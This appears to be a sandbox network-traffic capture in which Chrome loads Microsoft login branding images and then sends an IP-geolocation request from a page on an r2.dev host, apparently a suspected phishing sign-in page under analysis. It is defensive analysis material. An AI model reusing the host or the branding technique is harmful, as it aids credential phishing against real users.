2024-10-07 18:59:11 UTC	1369	IN	Data Raw: 0d 96 df bd 87 37 9f 3f cb b9 a5 74 be 7c e8 5e aa 24 bc f2 e7 c3 e5 37 6f b1 f5 d1 63 3c 94 59 25 4d 2a d7 71 71 46 67 4f 4f 14 b1 b1 c6 d1 97 51 58 12 71 07 5f d2 d2 8c c5 bd cc 4e 0d 11 60 44 af 21 80 ac 39 d4 1a 50 8d 09 b7 df a7 4f e7 36 6e d8 40 4d ee d2 b5 1b c6 8e 19 cd 0b 66 59 cd e6 3f 26 c4 e3 f0 9e 6d b8 7d e3 1a 7e 1e 37 d5 28 9e d5 47 84 5f c3 d9 13 a1 78 9d 9e 06 b7 51 e3 c6 f8 63 ee 5c b5 30 e6 93 e8 ed 2d 2c 30 a9 72 25 34 73 97 fc f8 22 65 f7 d3 a7 98 7d e3 26 a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 Data Ascii: 7?t\|^$7oc<Y%M*qqFgOOQXq_N`D!9PO6n@MfY?&m}~7(G_xQc\0-,0r%4s"e}&Q1)%k%_vv~}L&NNpEf,17OkNT#,
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: 10 af 26 a6 93 a6 08 30 a2 d7 14 41 d6 5e e3 c1 55 6c 10 3e 79 fa 8c 6b d6 b4 09 35 cb c4 c4 84 66 c2 2b e1 51 9c 17 9c 82 82 82 b8 97 2f 5f 52 d9 05 1d 1c 11 fb 36 86 e6 b6 6f d6 b6 13 ec f2 e5 97 42 99 92 92 8c 13 87 f6 e1 fc a9 a3 74 cb 5d db 10 49 66 3e a1 96 47 f7 ef d2 59 fc 93 48 f9 95 e4 3d da 97 a5 b7 ea f3 db 59 e4 a8 fa 37 33 37 98 39 74 d4 18 63 46 f4 42 8d 10 a6 97 26 08 30 a2 d7 04 3d d6 96 72 19 83 41 1e 81 7f 57 ae e2 e6 fd 31 97 7e d8 30 28 08 f3 e7 cd e3 05 a3 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 Data Ascii: &0A^Ul>yk5f+Q/_R6oBt]If>GYH=Y7379tcFB&0=rAW1~0(#Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: 30 b7 6f a6 11 ee 8c e8 f9 8e 0a 26 4f 08 08 30 a2 17 82 17 0c 5b 07 8d 06 56 c3 36 fd bb f6 f5 ea 05 70 6f de c4 d0 0f 96 af f8 07 7e 35 6b f0 8e 4b 95 2a 55 b8 8c 85 7e 63 7f 9f 07 92 4d ee d0 ee ad 20 ab d9 ab d4 ac 83 fa 8d 5b d0 74 b7 19 25 29 31 91 e6 c0 bf 19 76 19 f6 0e 8e 34 07 7e 91 a2 c5 79 87 3c f9 eb 17 e9 6d fa 8c 1f 22 a4 93 4a e5 1d e9 73 78 ff 6a ca ef e5 af d0 60 0d d5 cf dc cc 14 57 0f 74 51 49 d7 54 0b 5f e4 29 10 a8 11 ee 8c e8 55 82 9c b7 ca 4e 56 96 b0 33 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 Data Ascii: 0o&O0[V6po~5kK*U~cM [t%)1v4~y<m"Jsxj`WtQIT_)UNV37G^3se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2r
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: a4 b5 c6 83 ab 90 8c 51 45 97 f1 e3 7f e5 76 ed da 49 9b fc 34 60 20 86 0c 1e a4 55 2c 64 49 88 f4 59 a5 66 6d 04 36 69 45 17 e6 65 94 0c 02 bf 78 46 92 03 bf 71 ab 60 e9 2d fe 8c 3a e1 d7 2e d1 e7 f9 e4 56 7f cd 3a 81 99 52 e8 92 7a f7 6e 87 e3 c2 e9 63 78 f6 58 b2 f8 4f b6 1c df 12 0c fb fc fc ec c3 7f ff e1 0b ba 0c 3b 80 17 af 3e d2 2e c8 11 b5 7d 3a c9 af 2d 50 c6 27 5f f2 0d 80 b5 55 5e 8d f1 67 44 af 0c da 99 eb 84 94 f0 44 ef d2 a5 51 dc 56 18 27 24 66 68 78 f7 fd 07 fc 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 Data Ascii: QEvI4` U,dIYfm6iEexFq`-:.V:RzncxXO;>.}:-P'_U^gDDQV'$fhx{=I=#zxp-PdKPV~#giiS~>'^N}4j.$}
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: 6e e6 8c 19 54 07 92 e6 b6 45 fb 10 7a 8a dd ed 1b d7 e8 22 3c f2 f7 8f a7 d4 25 c4 7f a0 cf e1 2f 9c 96 64 9f cb 28 01 7e 6e f4 36 7d 05 2f 07 ad 41 47 72 d8 93 67 f3 8d eb 15 43 93 80 62 b0 b2 d4 3c 53 5a aa 65 4d e4 c9 5f 8b 77 ec 19 d1 e7 1c 06 b3 aa 57 45 07 0f f9 ac 8a 5a 0b 1c 2d 0b fe f7 de 7d 4c bd 16 a6 e5 5e 84 21 9e 11 bd 30 fc 60 c8 5a f0 3e d8 0a 19 8c 7e fd fa 73 e7 ce 49 b6 9e 8d 19 3b 0e 5d bb 84 e8 dc fe a7 cf 5f 70 5d 43 42 10 97 7e db dd cc cc 0c 26 b9 72 a1 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 Data Ascii: nTEz"<%/d(~n6}/AGrgCb<SZeM_wWEZ-}L^!0`Z>~sI;]_p]CB~&rn^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[S
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: 6c 09 b5 da 2a 6a 44 48 9e 90 bd 18 0b 23 7a 31 7a 55 b7 36 e9 65 40 d6 95 89 57 ae 85 71 3d ba 75 a5 dd b9 bb bb 63 cb b6 ed b0 b1 b2 14 b5 cd b2 d8 92 67 f7 a6 5f 6e c0 f4 eb 2d 98 70 ca af 90 56 cd 3f b9 90 96 a7 3c 52 2d 7c 60 65 ed a8 57 6c 19 d1 7f f7 9c 9d b9 39 0e 37 6d 0c 27 2b 2b d5 dc a9 a0 76 6a 5a 1a 76 85 9e 53 4b 66 f9 52 c5 51 aa 98 ab 5a 6d 15 35 ba f7 e1 03 1a ed 3f a8 a8 9a 41 7e cf 88 de 20 dd 26 28 a5 f5 3a 30 6b 1b 89 09 13 27 72 db b7 6d a3 dd f4 ec d5 1b bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 Data Ascii: l*jDH#z1zU6e@Wq=ucg_n-pV?<R-\|`eWl97m'++vjZvSKfRQZm5?A~ &(:0k'rm.j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: d9 67 5f b7 aa b7 46 e9 71 bf a4 a5 a1 fe de fd 88 4a 4a 52 db 66 a1 36 64 44 2f 54 cf 18 8e 5e 06 43 84 a7 cf 9c e5 c6 8e 19 8d 0f 1f 3e c8 a1 4b f6 e9 9a e7 c9 83 af 5f 32 9f ce 56 b1 a2 2f 66 cc 9a 85 22 85 5d 0c c6 4e c3 09 1d e1 69 ca 88 fe bb 4f cc 72 e5 c2 9e 46 41 f0 ca 9f 4f 65 47 a9 92 0c 47 65 e1 d9 34 b0 2f 60 47 c9 5e dd 72 f9 cd 5b 04 87 2a 9e 00 a8 2b 5f 9f ed 18 d1 eb 13 7d 71 f4 6d 10 04 78 23 fc 26 d7 a7 77 2f 7c fe fc 59 8a 7a e5 1a fe a8 e0 5b 15 6e c5 24 7b 74 93 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 Data Ascii: g_FqJJRf6dD/T^C>K_2V/f"]NiOrFAOeGGe4/`G^r[+_}qmx#&w/\|Yz[n${t{\|FNF^<Tx~e\MuwSVC s.<\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49790	152.199.21.175	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:12 UTC	454	OUT	GET /dbd5a2dd-gjxa816q3hienf9dbdm74agls6vi13-nhvsh77xhbcm/logintenantbranding/0/bannerlogo?ts=636613980192295167 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:12 UTC	646	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 1 Cache-Control: public, max-age=86400 Content-MD5: xr5RUcv0swzW7YtUUi6njg== Content-Type: image/* Date: Mon, 07 Oct 2024 18:59:12 GMT Etag: 0x8D5B50AC4EBCFA1 Last-Modified: Tue, 08 May 2018 17:40:20 GMT Server: ECAcc (lhc/7892) X-Cache: HIT X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 8902a91a-101e-0062-37ea-1881c5000000 x-ms-version: 2009-09-19 Content-Length: 8064 Connection: close
2024-10-07 18:59:12 UTC	8064	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 55 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 32 20 37 39 2e 31 35 39 32 38 34 2c 20 32 30 31 36 2f 30 34 2f 31 39 2d 31 33 3a 31 33 3a 34 30 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyPUhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49791	152.199.21.175	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:12 UTC	456	OUT	GET /dbd5a2dd-gjxa816q3hienf9dbdm74agls6vi13-nhvsh77xhbcm/logintenantbranding/0/illustration?ts=636613980171400016 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:12 UTC	648	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 1 Cache-Control: public, max-age=86400 Content-MD5: kES0Lyna5S+ab4aSibwJFA== Content-Type: image/* Date: Mon, 07 Oct 2024 18:59:12 GMT Etag: 0x8D5B50AC3CC2182 Last-Modified: Tue, 08 May 2018 17:40:18 GMT Server: ECAcc (lhc/7904) X-Cache: HIT X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 8e14877e-d01e-0052-3bea-183f0a000000 x-ms-version: 2009-09-19 Content-Length: 226446 Connection: close
2024-10-07 18:59:12 UTC	16383	IN	Data Raw: ff d8 ff e1 0d 46 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 10 00 00 01 03 00 01 00 00 00 e4 1b 00 00 01 01 03 00 01 00 00 00 b4 0f 00 00 02 01 03 00 03 00 00 00 ce 00 00 00 03 01 03 00 01 00 00 00 01 00 00 00 06 01 03 00 01 00 00 00 02 00 00 00 12 01 03 00 01 00 00 00 01 00 00 00 15 01 03 00 01 00 00 00 03 00 00 00 1a 01 05 00 01 00 00 00 d4 00 00 00 1b 01 05 00 01 00 00 00 dc 00 00 00 1c 01 03 00 01 00 00 00 01 00 00 00 28 01 03 00 01 00 00 00 02 00 00 00 31 01 02 00 24 00 00 00 e4 00 00 00 32 01 02 00 14 00 00 00 08 01 00 00 3b 01 02 00 0f 00 00 00 1c 01 00 00 98 82 02 00 0f 00 00 00 2b 01 00 00 69 87 04 00 01 00 00 00 3c 01 00 00 74 01 00 00 10 00 10 00 10 00 c0 c6 2d 00 10 27 00 00 c0 c6 2d 00 10 27 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 Data Ascii: FExifII*(1$2;+i<t-'-'Adobe Photoshop
2024-10-07 18:59:12 UTC	1	IN	Data Raw: 6a Data Ascii: j
2024-10-07 18:59:13 UTC	16383	IN	Data Raw: 48 6a 9f 6a f7 6b 4f 6b a7 6b ff 6c 57 6c af 6d 08 6d 60 6d b9 6e 12 6e 6b 6e c4 6f 1e 6f 78 6f d1 70 2b 70 86 70 e0 71 3a 71 95 71 f0 72 4b 72 a6 73 01 73 5d 73 b8 74 14 74 70 74 cc 75 28 75 85 75 e1 76 3e 76 9b 76 f8 77 56 77 b3 78 11 78 6e 78 cc 79 2a 79 89 79 e7 7a 46 7a a5 7b 04 7b 63 7b c2 7c 21 7c 81 7c e1 7d 41 7d a1 7e 01 7e 62 7e c2 7f 23 7f 84 7f e5 80 47 80 a8 81 0a 81 6b 81 cd 82 30 82 92 82 f4 83 57 83 ba 84 1d 84 80 84 e3 85 47 85 ab 86 0e 86 72 86 d7 87 3b 87 9f 88 04 88 69 88 ce 89 33 89 99 89 fe 8a 64 8a ca 8b 30 8b 96 8b fc 8c 63 8c ca 8d 31 8d 98 8d ff 8e 66 8e ce 8f 36 8f 9e 90 06 90 6e 90 d6 91 3f 91 a8 92 11 92 7a 92 e3 93 4d 93 b6 94 20 94 8a 94 f4 95 5f 95 c9 96 34 96 9f 97 0a 97 75 97 e0 98 4c 98 b8 99 24 99 90 99 fc 9a 68 9a d5 Data Ascii: HjjkOkklWlmm`mnnknooxop+ppq:qqrKrss]sttptu(uuv>vvwVwxxnxy*yyzFz{{c{\|!\|\|}A}~~b~#Gk0WGr;i3d0c1f6n?zM _4uL$h
2024-10-07 18:59:13 UTC	16383	IN	Data Raw: 27 94 92 52 a1 20 94 c2 52 92 94 90 4d 29 22 a5 d2 25 32 78 49 4a 94 a5 32 52 92 17 92 94 a6 dc 9b 74 a4 a6 49 28 13 dd 2d c9 21 99 25 29 50 94 e2 4a 2a 64 94 a9 36 9b 5f f4 5a 4f c9 11 b8 37 bb f3 0a 4a 43 29 2b 2c e9 97 bf b0 1f 12 8a 3a 3b fb b8 25 6a 69 4a 52 b4 99 d1 7f 79 ff 00 70 44 6f 46 a8 72 5c 52 b0 a7 26 52 dc b6 db d3 31 c7 2d 9f 9a 98 e9 f4 37 86 0f 9a 16 a7 07 72 7d de 0b a0 6e 2d 4d e1 a3 ee 44 15 34 70 02 56 87 9d 0d 79 e1 a7 ee 53 66 35 ce fa 2c 77 dc ba 18 4a 12 b4 b8 4d e9 f9 04 7d 02 3e 28 8d e9 57 9e 60 7c d6 cc 68 94 25 6a a7 24 74 8b 3b b9 b0 a7 fb 1c f7 7f e0 b4 e1 28 4a d4 5c e6 f4 86 f7 79 f9 05 31 d2 6a ee 5c 55 e4 c1 0b 53 54 74 dc 71 cb 4f de 88 cc 2a 5b c3 02 3c 26 4a d4 51 8a 2b 1f 9a 3e e5 2f 4d bf ba 3e e5 24 be 29 29 42 Data Ascii: 'R RM)"%2xIJ2RtI(-!%)PJd6_ZO7JC)+,:;%jiJRypDoFr\R&R1-7r}n-MD4pVySf5,wJM}>(W`\|h%j$t;(J\y1j\USTtqO[<&JQ+>/M>$))B
2024-10-07 18:59:13 UTC	16383	IN	Data Raw: 40 24 a5 da 63 51 a7 c3 4f fa 95 21 6b c7 0e 3f e7 15 00 e2 d3 a6 85 27 b8 b8 c9 32 4a 28 a6 7e a3 ce a4 93 f3 29 6e 27 59 23 e6 50 c1 f0 4f af 09 29 28 b9 e0 6d 0f 7c 1e d2 50 7d 2a e7 e8 89 f8 27 33 3c a5 ba 74 94 95 4c c1 e0 34 0f 92 94 b8 7f bd 0d a7 6a 49 25 24 ce 93 1f 14 b5 f9 21 f2 a4 c2 41 33 aa 0a 65 b9 2d c4 77 85 12 53 ce 92 38 49 0b fa 84 79 a7 16 17 70 a1 29 cb 9c 4e e3 ca 28 67 b8 c2 93 6d 2c e3 4f 86 9f f5 28 40 cf 1a a6 94 12 d9 fb 6d a0 6d 0f 70 1e 12 50 df 73 9d f4 89 3f 32 87 a1 1c a5 a2 4a a6 46 c0 4e a2 53 8b 08 e3 45 02 e9 4d 32 8a a9 b3 5f 51 b2 9f a2 f7 34 7c 4a b3 5f d6 0b db cc 3f e2 3f ef cd 59 90 27 94 fc 99 1a 25 68 a7 6b fe 70 d8 ee 2a 67 de 54 5f f5 86 c6 68 ea d8 27 cd cb 22 47 3d d3 97 07 08 3a 84 ad 54 1d 53 f5 92 c0 27 Data Ascii: @$cQO!k?'2J(~)n'Y#PO)(m\|P}'3<tL4jI%$!A3e-wS8Iyp)N(gm,O(@mmpPs?2JFNSEM2_Q4\|J_??Y'%hkpgT_h'"G=:TS'
2024-10-07 18:59:13 UTC	16383	IN	Data Raw: 32 1a e3 1e df a4 d6 ee 62 25 a1 a5 d3 58 21 a4 cc 4c ec fe 4e f7 fd 34 d3 10 36 5f 19 77 59 b2 78 32 81 66 3e f3 33 f8 2b 2e 2f b4 43 9c 23 c2 00 ff 00 a8 d8 a9 dd 7b 9a 60 7d e4 24 3c 12 48 ea ca ba 5b 59 97 1d 3f 04 4a 6d c2 69 22 c6 cc f0 40 3a 7e f2 a8 eb de f1 1a 7d da a4 ca 1f 66 ad 86 81 e2 53 c6 da b1 9d 4e 8e 9d ef a4 00 fa dc 23 8d 23 b7 fc 12 15 6e 04 98 69 3f 00 81 45 61 8e de f8 26 21 19 cd 74 4b 1c e1 f0 3a 7f d0 4c 21 92 36 c6 f7 bd d3 b0 98 8d 04 6a a9 9a 6c 71 d4 1f 9a b9 6e 45 93 ee f7 13 a0 2d 28 4f ba ea 84 c3 a3 f9 4d 28 8b 44 a8 9d 57 66 23 88 92 e8 f1 56 d9 d3 eb 7b 7d 96 17 11 04 6b af f2 9a f5 9e df d6 6c 87 9d a2 3b 29 bf 18 d7 fc d1 dc 4f 7e 3f ea 53 98 fa e8 db 0e 75 6e da 7b 77 21 2b 09 22 5c 5a 40 f2 20 a6 a3 0c bd a0 be 4b Data Ascii: 2b%X!LN46_wYx2f>3+./C#{`}$<H[Y?Jmi"@:~}fSN##ni?Ea&!tK:L!6jlqnE-(OM(DWf#V{}kl;)O~?Sun{w!+"\Z@ K
2024-10-07 18:59:13 UTC	16383	IN	Data Raw: ce 4e 1f a1 23 5e 55 dc 3f ab 76 65 17 06 10 e7 b1 a5 c7 dd a0 63 7e 93 9c ed a8 15 e3 54 07 b4 14 c3 32 17 47 18 2e ff 00 5e 6b 19 87 8d 8b 5c 17 31 8c 70 1c c6 e6 fb bd 4f f8 4b 5c fd eb 14 d0 58 3d f0 0f 84 26 2e 70 30 37 7d e9 9f 73 5c 7d f2 01 e6 01 2a 08 82 05 36 0d 23 ba da eb 10 e9 33 e0 02 3f a9 d2 b6 13 8c 32 1b 61 00 10 e0 c0 0b bf b1 f9 8a cd 99 18 ae c7 f4 a9 60 df dd ce 60 33 fe 77 d0 55 00 2f d2 22 74 46 d4 05 a1 75 f5 96 99 04 81 df ff 00 32 52 c7 ea ee a1 85 b8 fb b5 e7 4f fa 9d df 41 4d ec da 08 88 41 f4 3c 0c 4f 92 20 84 90 57 6f 51 cb 03 f4 44 b1 dc 6e dd 25 5b b3 a9 fa 85 c3 d2 3b 48 80 77 90 5a 7f 3d fe 93 3d 9b ec fe 5a a8 dc 77 1e e3 e3 23 fe a1 2f 45 e4 f6 3e 7c 24 69 6d 36 1d 75 43 fd 2b 84 70 48 06 7f f4 9a 1e f6 3d 90 c1 61 3c Data Ascii: N#^U?vec~T2G.^k\1pOK\X=&.p07}s\}*6#3?2a``3wU/"tFu2ROAMA<O WoQDn%[;HwZ==Zw#/E>\|$im6uC+pH=a<
2024-10-07 18:59:13 UTC	16383	IN	Data Raw: db 6d 34 b8 5a 1c d3 63 08 73 75 ee df 7b 56 d5 9f e3 03 34 8d cd 15 07 1e 44 3b ff 00 26 81 8b f5 34 5c f1 5b ae 0d 71 8d 7e 90 0a 7d 43 ea 15 98 75 3e f3 73 1d 5b 04 9d 0b 4a 78 38 c6 87 56 13 c4 76 d1 36 2f f8 c1 c8 0e 9c 86 0b 19 1c 33 f4 70 ef eb bf 7a af 97 f5 ef 31 cf 3e 94 56 c3 f4 5a 5a 1e 7f ed c7 7d 35 8f fb 19 e4 02 c8 1e 72 35 ff 00 ad ee 53 6e 0f a7 ad ce 2e 03 b1 09 df aa de 91 59 1d ff 00 f9 f0 32 62 9b 28 6b 18 ef 69 77 a8 e9 6e ef 6b de df fc cd 65 3f 11 b4 b2 5c 1c 7f 94 21 d5 b6 7e 8f a8 fa 9d 67 bd 0d 8c aa 7d 94 b6 23 c7 ff 00 27 bd 0c d2 c7 09 db ee ed ac 37 fb 5b 3e 9a 65 c4 6d a2 fe 09 56 ba a6 7f 52 a3 68 6b a8 68 89 02 c6 fb 3f ed ca db f4 d2 a5 ad b1 a1 c2 ca b5 f1 76 cf fa b5 4e dc 5b 2c fd c4 06 f4 e7 1f a4 e1 f7 23 e9 ef 48 Data Ascii: m4Zcsu{V4D;&4\[q~}Cu>s[Jx8Vv6/3pz1>VZZ}5r5Sn.Y2b(kiwnke?\!~g}#'7[>emVRhkh?vN[,#H
2024-10-07 18:59:13 UTC	6	IN	Data Raw: 96 28 3a ee da b5 Data Ascii: (:
2024-10-07 18:59:13 UTC	16383	IN	Data Raw: 53 76 4b 5d c6 ff 00 b9 05 fb 5d c3 9e 3e 28 88 22 dd 8a f2 86 82 40 45 19 11 c3 c7 c8 2e 6c e3 3e 77 09 3a f7 45 6d 79 2d d5 a4 84 bd b1 dd 5c 67 b3 b4 eb 9c 74 92 7c 34 50 f4 ec b0 f6 1f 12 b2 4f db 06 bb 9d 09 c5 99 3c 0d c7 ef 43 db f1 09 e3 f0 76 19 87 dd c6 7e 08 ad c0 c6 70 3e a3 03 a7 99 3a ac aa fa 8e 4d 27 63 d8 4c 7d e8 cd ea f7 4b 41 63 47 89 ec 7f f2 09 a6 12 5c 25 12 83 3f a1 ba 8f d2 63 92 f6 0f cd 23 de 3f f4 b2 0d 7b 87 d2 90 ef 3d 0a d2 1d 5e f6 d8 37 b0 06 7f af e9 1a e5 5f 27 29 d7 9d 5a d8 e6 5a 60 a7 83 2d 8f da b4 81 d1 04 97 72 ef bd 20 e2 0c 72 82 e7 89 d6 0f c4 99 53 a6 cd ae 96 00 49 f8 94 48 45 a5 d9 bb 96 13 0b 57 a6 5d b5 8f 65 8d de d1 10 d7 0d cb 2b f6 89 6e 83 68 3f 02 ac 62 f5 50 c7 8f 51 cd db 3a e8 53 78 4a 6c 3b 1f b0 Data Ascii: SvK...("@E.l>w:Emy-\gt\|4PO<Cv~p>:M'cL}KAcG\%?c#?{=^7_')ZZ`-r rSIHEW]e+nh?bPQ:SxJl;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49795	188.114.96.3	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:30 UTC	649	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:30 UTC	723	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:30 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 54 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xxdvMVChGNdmKZ7DP6GLdpeJyc7uHsEp4%2Fwljlo4RD7nh1Ffxdn51h3GpboeXi2LmBG3VxZJfGm5mE0lx6IcDcVtP4lccX9jSmMcUj%2Bx3MDmOzl843EYgn8Kkhjwhjdy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf020f3ddc219cf-EWR alt-svc: h3=":443"; ma=86400
